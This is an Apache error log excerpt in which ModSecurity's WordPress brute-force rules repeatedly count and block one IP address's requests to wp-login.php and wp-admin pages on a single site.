[Sat Feb 28 01:53:11.225833 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaBwP6I7SRqrhh7Roq7QAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:12.345636 2026] [:error] [pid 38586:tid 38601] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaCL_i6nvKNhjFW7VdiAAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:13.470539 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaCQP6I7SRqrhh7Roq-QAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:14.575257 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:53183] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaCgP6I7SRqrhh7RorAQAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:15.702099 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:58705] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaC7_i6nvKNhjFW7VdmAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:15.702160 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:58705] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaC7_i6nvKNhjFW7VdmAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:18.485743 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaDgP6I7SRqrhh7RorEQAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:19.929979 2026] [:error] [pid 38620:tid 38639] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaDwP6I7SRqrhh7RorFgAAAVE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:22.758596 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaEgP6I7SRqrhh7RorLAAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:24.063547 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaFAP6I7SRqrhh7RorMQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:26.978277 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaFgP6I7SRqrhh7RorSQAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:28.305275 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaGAP6I7SRqrhh7RorTgAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:28.305360 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaGAP6I7SRqrhh7RorTgAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:29.665748 2026] [:error] [pid 15240:tid 15258] [client 5.189.134.86:54241] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaGS1iKL_41Rk9A9OKXgAAABA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:31.008985 2026] [:error] [pid 15098:tid 15109] [client 5.189.134.86:62601] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaG8kFqny8dQQbmTktWwAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:32.104929 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:62604] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaHL_i6nvKNhjFW7VdxAAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:33.432960 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:57106] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaHQP6I7SRqrhh7RorbQAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:34.734923 2026] [:error] [pid 38586:tid 38603] [client 5.189.134.86:56817] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaHr_i6nvKNhjFW7Vd0gAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:37.566792 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:56817] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaIb_i6nvKNhjFW7Vd2gAAAQM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:38.849875 2026] [:error] [pid 38586:tid 38611] [client 5.189.134.86:56817] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaIr_i6nvKNhjFW7Vd3QAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:41.681894 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:56817] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaJb_i6nvKNhjFW7Vd5gAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:41.681997 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:56817] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaJb_i6nvKNhjFW7Vd5gAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:43.047275 2026] [:error] [pid 15100:tid 15174] [client 5.189.134.86:60867] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaJ0OEbzcINan_ctLP3wAAAE4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:44.315438 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:58628] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaKL_i6nvKNhjFW7Vd7AAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:45.466256 2026] [:error] [pid 15240:tid 15248] [client 5.189.134.86:49273] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaKS1iKL_41Rk9A9OKjQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:46.631227 2026] [:error] [pid 38620:tid 38639] [client 5.189.134.86:65177] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaKgP6I7SRqrhh7RorqQAAAVE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:46.631336 2026] [:error] [pid 38620:tid 38639] [client 5.189.134.86:65177] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaKgP6I7SRqrhh7RorqQAAAVE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:47.986065 2026] [:error] [pid 15099:tid 15154] [client 5.189.134.86:63936] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaK-nvP2vtPjYDq_g_tgAAANU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:49.244812 2026] [:error] [pid 15099:tid 15146] [client 5.189.134.86:60987] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaLenvP2vtPjYDq_g_uwAAAM0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:50.532061 2026] [:error] [pid 15100:tid 15171] [client 5.189.134.86:51228] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaLkOEbzcINan_ctLP5QAAAEs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:51.827317 2026] [:error] [pid 15100:tid 15175] [client 5.189.134.86:51228] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaL0OEbzcINan_ctLP5gAAAE8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:53.183223 2026] [:error] [pid 38586:tid 38602] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaMb_i6nvKNhjFW7VeFgAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:53.183252 2026] [:error] [pid 38586:tid 38602] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaMb_i6nvKNhjFW7VeFgAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:56.133614 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaNAP6I7SRqrhh7Ror-QAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:53:57.500748 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaNQP6I7SRqrhh7RosAgAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:00.362051 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaOAP6I7SRqrhh7RosCQAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:01.863408 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaOQP6I7SRqrhh7RosDAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:03.260700 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaOwP6I7SRqrhh7RosGAAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:04.619365 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:51084] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaPC1iKL_41Rk9A9OKwAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:05.737764 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:54252] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaPQP6I7SRqrhh7RosIwAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:07.141552 2026] [:error] [pid 15100:tid 15165] [client 5.189.134.86:57849] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaP0OEbzcINan_ctLP7AAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:08.498174 2026] [:error] [pid 15098:tid 15117] [client 5.189.134.86:57849] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaQMkFqny8dQQbmTktgwAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:11.332657 2026] [:error] [pid 15098:tid 15129] [client 5.189.134.86:57849] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaQ8kFqny8dQQbmTkthQAAAJc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:12.675755 2026] [:error] [pid 15098:tid 15109] [client 5.189.134.86:57849] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaRMkFqny8dQQbmTkthwAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:12.675846 2026] [:error] [pid 15098:tid 15109] [client 5.189.134.86:57849] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaRMkFqny8dQQbmTkthwAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:13.815340 2026] [:error] [pid 38586:tid 38610] [client 5.189.134.86:50272] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaRb_i6nvKNhjFW7VebAAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:15.083041 2026] [:error] [pid 15100:tid 15184] [client 5.189.134.86:56960] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaR0OEbzcINan_ctLP7gAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:16.443611 2026] [:error] [pid 15240:tid 15247] [client 5.189.134.86:62984] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHaSC1iKL_41Rk9A9OK1gAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:17.789053 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:50629] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHaSb_i6nvKNhjFW7VefgAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:19.056737 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:51407] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaS0OEbzcINan_ctLP8gAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:19.056833 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:51407] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHaS0OEbzcINan_ctLP8gAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:20.186476 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:50837] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHaTAP6I7SRqrhh7RosfQAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:54:21.514098 2026] [:error] [pid 15240:tid 15251] [client 5.189.134.86:54723] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHaTS1iKL_41Rk9A9OK4wAAAAk"], referer: https://gigfragments.org/wp-login.php
